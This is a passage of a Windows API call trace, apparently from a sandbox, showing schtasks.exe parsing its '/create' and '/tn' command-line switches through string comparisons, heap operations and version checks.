_Size=0x7) returned 0 [0085.986] lstrlenW (lpString="f") returned 1 [0085.986] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.986] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|delete|") returned 8 [0085.986] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|f|") returned 3 [0085.986] lstrlenW (lpString="|delete|") returned 8 [0085.986] lstrlenW (lpString="|f|") returned 3 [0085.986] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0085.986] SetLastError (dwErrCode=0x490) [0085.986] lstrlenW (lpString="query") returned 5 [0085.986] lstrlenW (lpString="query") returned 5 [0085.986] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.986] lstrlenW (lpString="f") returned 1 [0085.987] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.987] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|query|") returned 7 [0085.987] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|f|") returned 3 [0085.987] lstrlenW (lpString="|query|") returned 7 [0085.987] lstrlenW (lpString="|f|") returned 3 [0085.987] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0085.987] SetLastError (dwErrCode=0x490) [0085.987] lstrlenW (lpString="change") returned 6 [0085.987] lstrlenW (lpString="change") returned 6 [0085.987] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.987] lstrlenW (lpString="f") returned 1 [0085.987] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.987] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|change|") returned 8 [0085.987] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|f|") returned 3 [0085.987] lstrlenW (lpString="|change|") returned 8 [0085.987] lstrlenW (lpString="|f|") returned 3 [0085.987] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0085.987] SetLastError (dwErrCode=0x490) [0085.987] lstrlenW (lpString="run") returned 3 [0085.987] lstrlenW (lpString="run") returned 3 [0085.987] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.987] lstrlenW (lpString="f") returned 1 [0085.987] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.987] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|run|") returned 5 [0085.988] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|f|") returned 3 [0085.988] lstrlenW (lpString="|run|") returned 5 [0085.988] lstrlenW (lpString="|f|") returned 3 [0085.988] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0085.988] SetLastError (dwErrCode=0x490) [0085.988] lstrlenW (lpString="end") returned 3 [0085.988] lstrlenW (lpString="end") returned 3 [0085.988] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.988] lstrlenW (lpString="f") returned 1 [0085.988] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.988] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|end|") returned 5 [0085.988] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|f|") returned 3 [0085.988] lstrlenW (lpString="|end|") returned 5 [0085.988] lstrlenW (lpString="|f|") returned 3 [0085.988] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0085.988] SetLastError (dwErrCode=0x490) [0085.988] lstrlenW (lpString="showsid") returned 7 [0085.988] lstrlenW (lpString="showsid") returned 7 [0085.988] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.988] lstrlenW (lpString="f") returned 1 [0085.988] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.988] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|showsid|") returned 9 [0085.988] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|f|") returned 3 [0085.989] lstrlenW (lpString="|showsid|") returned 9 [0085.989] lstrlenW (lpString="|f|") returned 3 [0085.989] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0085.989] SetLastError (dwErrCode=0x490) [0085.989] SetLastError (dwErrCode=0x490) [0085.989] SetLastError (dwErrCode=0x0) [0085.989] lstrlenW (lpString="/f") returned 2 [0085.989] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0085.989] SetLastError (dwErrCode=0x490) [0085.989] SetLastError (dwErrCode=0x0) [0085.989] lstrlenW (lpString="/f") returned 2 [0085.989] GetProcessHeap () returned 0x50000 [0085.989] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x6) returned 0x6df10 [0085.989] GetProcessHeap () returned 0x50000 [0085.989] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6ced0 [0085.989] SetLastError (dwErrCode=0x0) [0085.989] GetProcessHeap () returned 0x50000 [0085.989] GetProcessHeap () returned 0x50000 [0085.989] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c320) returned 1 [0085.989] GetProcessHeap () returned 0x50000 [0085.989] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c320) returned 0x8 [0085.989] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c320 | out: hHeap=0x50000) returned 1 [0085.989] GetProcessHeap () returned 0x50000 [0085.989] GetProcessHeap () returned 0x50000 [0085.989] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cd50) returned 1 [0085.989] GetProcessHeap () returned 0x50000 [0085.989] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cd50) returned 0x20 [0085.990] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cd50 | out: hHeap=0x50000) returned 1 [0085.990] GetProcessHeap () returned 0x50000 [0085.990] GetProcessHeap () returned 0x50000 [0085.990] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c3b0) returned 1 [0085.990] GetProcessHeap () returned 0x50000 [0085.990] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c3b0) returned 0xa [0085.990] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c3b0 | out: hHeap=0x50000) returned 1 [0085.990] GetProcessHeap () returned 0x50000 [0085.990] GetProcessHeap () returned 0x50000 [0085.990] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cd80) returned 1 [0085.990] GetProcessHeap () returned 0x50000 [0085.990] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cd80) returned 0x20 [0085.991] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cd80 | out: hHeap=0x50000) returned 1 [0085.991] GetProcessHeap () returned 0x50000 [0085.991] GetProcessHeap () returned 0x50000 [0085.991] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c3d0) returned 1 [0085.991] GetProcessHeap () returned 0x50000 [0085.991] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c3d0) returned 0x8 [0085.991] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c3d0 | out: hHeap=0x50000) returned 1 [0085.991] GetProcessHeap () returned 0x50000 [0085.991] GetProcessHeap () returned 0x50000 [0085.991] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cdb0) returned 1 [0085.991] GetProcessHeap () returned 0x50000 [0085.991] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cdb0) returned 0x20 [0085.992] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cdb0 | out: hHeap=0x50000) returned 1 [0085.992] GetProcessHeap () returned 0x50000 [0085.992] GetProcessHeap () returned 0x50000 [0085.992] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c3f0) returned 1 [0085.992] GetProcessHeap () returned 0x50000 [0085.992] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c3f0) returned 0x10 [0085.992] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c3f0 | out: hHeap=0x50000) returned 1 [0085.992] GetProcessHeap () returned 0x50000 [0085.992] GetProcessHeap () returned 0x50000 [0085.992] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cde0) returned 1 [0085.992] GetProcessHeap () returned 0x50000 [0085.992] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cde0) returned 0x20 [0085.992] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cde0 | out: hHeap=0x50000) returned 1 [0085.992] GetProcessHeap () returned 0x50000 [0085.992] GetProcessHeap () returned 0x50000 [0085.992] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c410) returned 1 [0085.992] GetProcessHeap () returned 0x50000 [0085.992] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c410) returned 0x8 [0085.993] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c410 | out: hHeap=0x50000) returned 1 [0085.993] GetProcessHeap () returned 0x50000 [0085.993] GetProcessHeap () returned 0x50000 [0085.993] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6ce10) returned 1 [0085.993] GetProcessHeap () returned 0x50000 [0085.993] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6ce10) returned 0x20 [0085.993] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6ce10 | out: hHeap=0x50000) returned 1 [0085.993] GetProcessHeap () returned 0x50000 [0085.993] GetProcessHeap () returned 0x50000 [0085.993] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6de80) returned 1 [0085.993] GetProcessHeap () returned 0x50000 [0085.993] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6de80) returned 0x5e [0085.993] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6de80 | out: hHeap=0x50000) returned 1 [0085.993] GetProcessHeap () returned 0x50000 [0085.993] GetProcessHeap () returned 0x50000 [0085.993] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6ce40) returned 1 [0085.993] GetProcessHeap () returned 0x50000 [0085.993] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6ce40) returned 0x20 [0085.994] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6ce40 | out: hHeap=0x50000) returned 1 [0085.994] GetProcessHeap () returned 0x50000 [0085.994] GetProcessHeap () returned 0x50000 [0085.994] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6def0) returned 1 [0085.994] GetProcessHeap () returned 0x50000 [0085.994] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6def0) returned 0x8 [0085.994] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6def0 | out: hHeap=0x50000) returned 1 [0085.994] GetProcessHeap () returned 0x50000 [0085.994] GetProcessHeap () returned 0x50000 [0085.994] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6ce70) returned 1 [0085.994] GetProcessHeap () returned 0x50000 [0085.994] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6ce70) returned 0x20 [0085.994] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6ce70 | out: hHeap=0x50000) returned 1 [0085.994] GetProcessHeap () returned 0x50000 [0085.995] GetProcessHeap () returned 0x50000 [0085.995] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d660) returned 1 [0085.995] GetProcessHeap () returned 0x50000 [0085.995] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d660) returned 0x10 [0085.995] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d660 | out: hHeap=0x50000) returned 1 [0085.995] GetProcessHeap () returned 0x50000 [0085.995] GetProcessHeap () returned 0x50000 [0085.996] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cea0) returned 1 [0085.996] GetProcessHeap () returned 0x50000 [0085.996] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cea0) returned 0x20 [0085.996] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cea0 | out: hHeap=0x50000) returned 1 [0085.996] GetProcessHeap () returned 0x50000 [0085.996] GetProcessHeap () returned 0x50000 [0085.996] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6df10) returned 1 [0085.996] GetProcessHeap () returned 0x50000 [0085.996] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6df10) returned 0x6 [0085.996] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6df10 | out: hHeap=0x50000) returned 1 [0085.996] GetProcessHeap () returned 0x50000 [0085.996] GetProcessHeap () returned 0x50000 [0085.996] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6ced0) returned 1 [0085.996] GetProcessHeap () returned 0x50000 [0085.996] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6ced0) returned 0x20 [0085.997] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6ced0 | out: hHeap=0x50000) returned 1 [0085.997] GetProcessHeap () returned 0x50000 [0085.997] GetProcessHeap () returned 0x50000 [0085.997] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x67fa0) returned 1 [0085.997] GetProcessHeap () returned 0x50000 [0085.997] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x67fa0) returned 0x18 [0085.997] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x67fa0 | out: hHeap=0x50000) returned 1 [0085.997] SetLastError (dwErrCode=0x0) [0085.997] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0085.997] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0085.998] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0085.998] VerifyVersionInfoW (in: lpVersionInformation=0x1fc470, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1fc470) returned 1 [0085.998] SetLastError (dwErrCode=0x0) [0085.998] lstrlenW (lpString="create") returned 6 [0085.998] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0085.998] SetLastError (dwErrCode=0x490) [0085.998] SetLastError (dwErrCode=0x0) [0085.998] lstrlenW (lpString="create") returned 6 [0085.998] GetProcessHeap () returned 0x50000 [0085.998] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6ced0 [0085.998] GetProcessHeap () returned 0x50000 [0085.998] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6d660 [0085.998] _memicmp (_Buf1=0x6d660, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.998] GetProcessHeap () returned 0x50000 [0085.998] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x16) returned 0x6d680 [0085.998] SetLastError (dwErrCode=0x0) [0085.998] _memicmp (_Buf1=0x6bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.998] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6bd50, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0085.998] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0085.999] GetProcessHeap () returned 0x50000 [0085.999] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x74e) returned 0x6de80 [0085.999] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x6de80 | out: lpData=0x6de80) returned 1 [0085.999] VerQueryValueW (in: pBlock=0x6de80, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1fc558, puLen=0x1fc5c0 | out: lplpBuffer=0x1fc558*=0x6e21c, puLen=0x1fc5c0) returned 1 [0085.999] _memicmp (_Buf1=0x6bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.999] _vsnwprintf (in: _Buffer=0x6bd50, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1fc538 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0085.999] VerQueryValueW (in: pBlock=0x6de80, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1fc5c8, puLen=0x1fc5b8 | out: lplpBuffer=0x1fc5c8*=0x6e048, puLen=0x1fc5b8) returned 1 [0086.000] lstrlenW (lpString="schtasks.exe") returned 12 [0086.000] lstrlenW (lpString="schtasks.exe") returned 12 [0086.000] lstrlenW (lpString=".EXE") returned 4 [0086.000] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0086.000] lstrlenW (lpString="schtasks.exe") returned 12 [0086.000] lstrlenW (lpString=".EXE") returned 4 [0086.000] lstrlenW (lpString="schtasks") returned 8 [0086.000] lstrlenW (lpString="/create") returned 7 [0086.000] _memicmp (_Buf1=0x6bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.000] _vsnwprintf (in: _Buffer=0x6bd50, _BufferCount=0x19, _Format="%s %s", _ArgList=0x1fc538 | out: _Buffer="schtasks /create") returned 16 [0086.000] _memicmp (_Buf1=0x6bbd0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.000] GetProcessHeap () returned 0x50000 [0086.000] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cea0 [0086.000] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.000] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0086.000] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0086.000] GetProcessHeap () returned 0x50000 [0086.000] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x30) returned 0x67c00 [0086.000] _vsnwprintf (in: _Buffer=0x6c150, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1fc538 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0086.000] GetProcessHeap () returned 0x50000 [0086.000] GetProcessHeap () returned 0x50000 [0086.000] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6de80) returned 1 [0086.000] GetProcessHeap () returned 0x50000 [0086.001] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6de80) returned 0x74e [0086.001] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6de80 | out: hHeap=0x50000) returned 1 [0086.001] SetLastError (dwErrCode=0x0) [0086.001] GetThreadLocale () returned 0x409 [0086.001] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.001] lstrlenW (lpString="create") returned 6 [0086.001] GetThreadLocale () returned 0x409 [0086.001] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.001] lstrlenW (lpString="?") returned 1 [0086.001] GetThreadLocale () returned 0x409 [0086.001] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.001] lstrlenW (lpString="s") returned 1 [0086.002] GetThreadLocale () returned 0x409 [0086.002] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.002] lstrlenW (lpString="u") returned 1 [0086.002] GetThreadLocale () returned 0x409 [0086.002] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.002] lstrlenW (lpString="p") returned 1 [0086.002] GetThreadLocale () returned 0x409 [0086.002] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.002] lstrlenW (lpString="ru") returned 2 [0086.002] GetThreadLocale () returned 0x409 [0086.002] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.002] lstrlenW (lpString="rp") returned 2 [0086.002] GetThreadLocale () returned 0x409 [0086.002] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.002] lstrlenW (lpString="sc") returned 2 [0086.002] GetThreadLocale () returned 0x409 [0086.002] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.002] lstrlenW (lpString="mo") returned 2 [0086.002] GetThreadLocale () returned 0x409 [0086.002] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.002] lstrlenW (lpString="d") returned 1 [0086.002] GetThreadLocale () returned 0x409 [0086.002] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.002] lstrlenW (lpString="m") returned 1 [0086.002] GetThreadLocale () returned 0x409 [0086.002] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.003] lstrlenW (lpString="i") returned 1 [0086.003] GetThreadLocale () returned 0x409 [0086.003] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.003] lstrlenW (lpString="tn") returned 2 [0086.003] GetThreadLocale () returned 0x409 [0086.003] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.003] lstrlenW (lpString="tr") returned 2 [0086.003] GetThreadLocale () returned 0x409 [0086.003] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.003] lstrlenW (lpString="st") returned 2 [0086.003] GetThreadLocale () returned 0x409 [0086.003] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.003] lstrlenW (lpString="sd") returned 2 [0086.003] GetThreadLocale () returned 0x409 [0086.003] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.003] lstrlenW (lpString="ed") returned 2 [0086.003] GetThreadLocale () returned 0x409 [0086.003] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.003] lstrlenW (lpString="it") returned 2 [0086.003] GetThreadLocale () returned 0x409 [0086.003] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.003] lstrlenW (lpString="et") returned 2 [0086.003] GetThreadLocale () returned 0x409 [0086.003] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.003] lstrlenW (lpString="k") returned 1 [0086.003] GetThreadLocale () returned 0x409 [0086.004] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.004] lstrlenW (lpString="du") returned 2 [0086.004] GetThreadLocale () returned 0x409 [0086.004] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.004] lstrlenW (lpString="ri") returned 2 [0086.004] GetThreadLocale () returned 0x409 [0086.004] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.004] lstrlenW (lpString="z") returned 1 [0086.004] GetThreadLocale () returned 0x409 [0086.004] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.004] lstrlenW (lpString="f") returned 1 [0086.004] GetThreadLocale () returned 0x409 [0086.004] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.004] lstrlenW (lpString="v1") returned 2 [0086.004] GetThreadLocale () returned 0x409 [0086.004] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.004] lstrlenW (lpString="xml") returned 3 [0086.004] GetThreadLocale () returned 0x409 [0086.004] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.004] lstrlenW (lpString="ec") returned 2 [0086.004] GetThreadLocale () returned 0x409 [0086.004] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.004] lstrlenW (lpString="rl") returned 2 [0086.004] GetThreadLocale () returned 0x409 [0086.004] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.004] lstrlenW (lpString="delay") returned 5 [0086.005] GetThreadLocale () returned 0x409 [0086.005] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.005] lstrlenW (lpString="np") returned 2 [0086.005] SetLastError (dwErrCode=0x0) [0086.005] SetLastError (dwErrCode=0x0) [0086.005] lstrlenW (lpString="/create") returned 7 [0086.005] lstrlenW (lpString="-/") returned 2 [0086.005] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.005] lstrlenW (lpString="create") returned 6 [0086.005] lstrlenW (lpString="create") returned 6 [0086.005] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.005] lstrlenW (lpString="create") returned 6 [0086.005] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.005] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|create|") returned 8 [0086.005] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|create|") returned 8 [0086.005] lstrlenW (lpString="|create|") returned 8 [0086.005] lstrlenW (lpString="|create|") returned 8 [0086.005] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0086.005] SetLastError (dwErrCode=0x0) [0086.005] SetLastError (dwErrCode=0x0) [0086.005] SetLastError (dwErrCode=0x0) [0086.005] lstrlenW (lpString="/tn") returned 3 [0086.005] lstrlenW (lpString="-/") returned 2 [0086.005] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.006] lstrlenW (lpString="create") returned 6 [0086.006] lstrlenW (lpString="create") returned 6 [0086.006] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.006] lstrlenW (lpString="tn") returned 2 [0086.006] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.006] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|create|") returned 8 